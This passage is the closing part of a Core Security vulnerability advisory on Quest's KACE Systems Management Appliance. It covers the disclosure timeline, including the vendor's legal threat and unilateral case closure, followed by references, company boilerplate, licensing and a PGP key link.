Acknowledgment page (https://support.quest.com/essentials/vulnerability-reporting-acknowledgements). 2018-04-16: Core answered email from 2018-03-26 stating the company is following standard practices with regards to coordinated vulnerability disclosure, and also sent detailed technical information about our findings at Quest's request. Core also mentioned Quest seems to be well versed in the disclosure process and expects vendors to coordinate with it prior to publication via Quest's vulnerability reporting process, and that Quest's legal threat appears to be in direct contradiction to the disclosure process that they encourage on their website. Finally, Core asked about Quest's intention to work collaboratively to address these vulnerabilities and to follow industry standard disclosure processes that involves publication of the vulnerabilities. 2018-04-17: Quest's KACE PM replied saying it is willing to collaborate and is looking forward to having a conversation over the phone in order to continue the next steps in its vulnerability process (forwarded email from 2018-04-13). 2018-04-17: Core thanked the answer and stated the willingness of keeping written communications between parties in order to better document the process and communicated the next steps of the process including: 1. Testing the fix (if vendor agrees), 2. Get CVE-IDs, 3. Get a Vendor's link to be included in the advisory and finally 4. Send final advisory version to vendor and coordinate publication date together. With regards to Quest's requests, Core provided the researchers names and URL of the advisory when it will be published. Finally, Core stated that the request for other Core company services could be forwarded to the Core services team if needed (and asked the right contact at Quest) but our intention is to keep that services request separate from the coordinated disclosure process. 2018-04-18: Quest Support informed that they had publicly made available patches for its customers and unilaterally closed the case. 2018-05-31: Advisory CORE-2018-0004 published. 9. *References* [1] https://www.quest.com/products/kace-systems-management-appliance/ 10. *About CoreLabs* CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber-attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security* Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity amp; access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur. Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com 12. *Disclaimer* The contents of this advisory are copyright (c) 2018 Core Security and (c) 2018 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc